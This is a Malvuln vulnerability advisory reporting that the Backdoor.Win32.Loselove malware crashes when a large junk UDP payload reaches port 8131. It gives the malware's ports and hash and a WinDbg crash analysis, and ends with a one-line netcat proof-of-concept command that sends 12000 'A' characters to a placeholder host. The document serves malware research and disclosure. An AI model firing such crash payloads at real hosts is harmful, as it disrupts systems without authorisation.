Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9a8150938bff3a17fa0169c3dc6dae85.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Loselove
Vulnerability: Denial of Service
Description: The malware listens on UDP ports 9329, 8329, 8322, 8131 and 8130. Attackers can send a large junk payload to UDP port 8131 causing it to crash.
Family: Loselove
Type: PE32
MD5: 9a8150938bff3a17fa0169c3dc6dae85
Vuln ID: MVID-2022-0554
Disclosure: 04/18/2022

Memory Dump:
(fe4.10a0): Access violation - code c0000005 (first/second chance not available)
eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000
eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
ntdll!RtlAcquireSRWLockShared+0xb:
776e9fab 56              push    esi

0:000> .ecxr
eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000
eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
ntdll!RtlAcquireSRWLockShared+0xb:
776e9fab 56              push    esi

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85

FAULTING_IP: 
KERNELBASE!RaiseException+62
74a108f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  0019f790 -- (.exr 0x19f790)
ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: 0eedfade
  ExceptionFlags: 00000003
NumberParameters: 7
   Parameter[0]: 00411c67
   Parameter[1]: 041ac750
   Parameter[2]: ffffffff
   Parameter[3]: 0040e744
   Parameter[4]: 041bfc04
   Parameter[5]: 0019fd10
   Parameter[6]: 0019fcd0

PROCESS_NAME:  Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000a0fd4

WRITE_ADDRESS:  000a0fd4 

FOLLOWUP_IP: 
KERNELBASE!RaiseException+0
74a10890 8bff            mov     edi,edi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0019f7e0 -- (.cxr 0x19f7e0)
eax=0019fc40 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040e744 edi=041bfc04
eip=74a108f2 esp=0019fc40 ebp=0019fc9c iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
KERNELBASE!RaiseException+0x62:
74a108f2 8b4c2454        mov     ecx,dword ptr [esp+54h] ss:002b:0019fc94=ae6d973b
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 0046361e to 74a108f2

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

STACK_TEXT:  
0019fc40 74a108f2 kernelbase!RaiseException+0x62
0019fd18 0046361e backdoor_win32_loselove+0x6361e
0019fd70 0046353d backdoor_win32_loselove+0x6353d
0019fd8c 7720e0bb user32!_InternalCallWinProc+0x2b
0019fdb8 77218849 user32!InternalCallWinProc+0x20
0019fddc 7721b145 user32!UserCallWinProcCheckWow+0x1be
0019feac 772090dc user32!DispatchMessageWorker+0x4ac
0019ff18 772038c0 user32!DispatchMessageA+0x10
0019ff20 0044d058 backdoor_win32_loselove+0x4d058
0019ff74 00498514 backdoor_win32_loselove+0x98514
0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  kernelbase!RaiseException+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: KERNELBASE

IMAGE_NAME:  KERNELBASE.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 000000000019F7E0 ; kb ; dds 19fc40 ; kb

FAILURE_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException

BUCKET_ID:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0

Exploit/PoC:
python -c "print('A'*12000)" | nc64.exe x.x.x.x 8131 -c -u


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